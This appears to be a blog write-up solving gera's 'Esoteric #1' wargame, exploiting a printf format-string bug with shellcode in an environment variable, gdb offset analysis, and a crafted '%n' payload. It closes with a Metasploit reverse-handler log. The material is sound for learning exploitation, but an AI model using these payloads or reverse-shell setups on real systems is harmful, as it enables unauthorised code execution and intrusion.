Monday, November 19, 2012

Esoteric #1

gera's Esoteric #1


/* specially crafted to feed your brain by gera@core-sdi.com */

/* jumpy vfprintf, Batman!                                   */

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
        printf(argc[1]);
        while(1);
}

As usual, I start off by sticking a nop sled and some shellcode into an environment variable.


[dennis@localhost e1]$ export ES1=`perl sc.pl`
[dennis@localhost e1]$ gcc -o ev1 ev1.c
[dennis@localhost e1]$ ./ev1
ES1 is at 0xbffffc11


To visualize some of the values, I'm going to cause a coredump and load it up into gdb.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf" . "A" x 1'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
Segmentation fault (core dumped)
[dennis@localhost e1]$ gdb es1 core

I make sure the nop sled and shellcode are in place.
(gdb) x/i 0xbffffc11
0xbffffc11:     nop
(gdb)
0xbffffc12:     nop


The format string vulnerability provides a 4-byte-write-anything-anywhere primitive. The anything will be the address of my payload (0xbffffc11) and the anywhere will be a saved return address on printf()'s stack frame.

There are 4 conversion specifiers in the format string. The "%.64529x" increments printf()'s character counter to 0xfc11 characters and prints whatever is stored on the stack at printf()'s second parameter. "%104$n" writes the current character counter value to the 104th printf() parameter on the stack. "%.50158x" again increments the counter--0x1bfff-64529 characters (see notes from Format Strings: fs5) and prints whatever is stored on the stack at printf()'s third parameter. Finally, "%105$n" writes the new counter value to the 105th parameter on the stack.

The following shows the second command line argument in memory.


(gdb) x/x argc[2]
0xbffffbef:     0xbffffa4c
(gdb)
0xbffffbf3:     0xbffffa4e

As can be seen, I've stored 2 addresses there that are offset by 2 bytes (0xbffffa4c and 0xbffffa4e). The memory addresses these are stored at will end up being the 104th and 105th parameters to printf() and are offset for the format string exploit.

At the code level, printf() is just a wrapper function for vfprintf(stdout, format, ...). So the call stack will be main() -> printf() -> vfprintf(). Since all the work will be done in vfprintf()'s stack frame, printf()'s frame will be relatively stable and its saved return address back to main() will be a good target to overwrite--main()'s return address is a poor choice because the while(1) loop prevents main() from ever returning.


(gdb) info frame
Stack level 1, frame at 0xbffffa48:
 eip = 0x40086d2c in printf (printf.c:33); saved eip 0x8048476
 called by frame at 0xbffffa68, caller of frame at 0xbffffa28
 source language c.
 Arglist at 0xbffffa48, args: format=0xbffffbd2 "%.64529x%104$n%.50158x%105$n"
 Locals at 0xbffffa48, Previous frame's sp is 0x0
 Saved registers:
  ebx at 0xbffffa44, ebp at 0xbffffa48, eip at 0xbffffa4c
(gdb)

printf()'s saved return address back to main() is stored at 0xbffffa4c.

The final piece is determining the parameter offsets for printf() that will point to the the writeable address (printf()'s saved return address) stored at the second command line argument.

By changing the "%n" format specifiers to "%x" the exploit goes from a memory overwrite to a information leak. Using this leak and guessing offsets helped me track down the proper offsets.

By aligning everything properly, it looks like this.


[dennis@localhost e1]$ ./es1 '%.64529x%104$n%.50158x%105$n' `perl -e 'print "\x4c\xfa\xff\xbf" . "\x4e\xfa\xff\xbf"'`
...
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000[dennis@localhost e1]$

---
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.0.32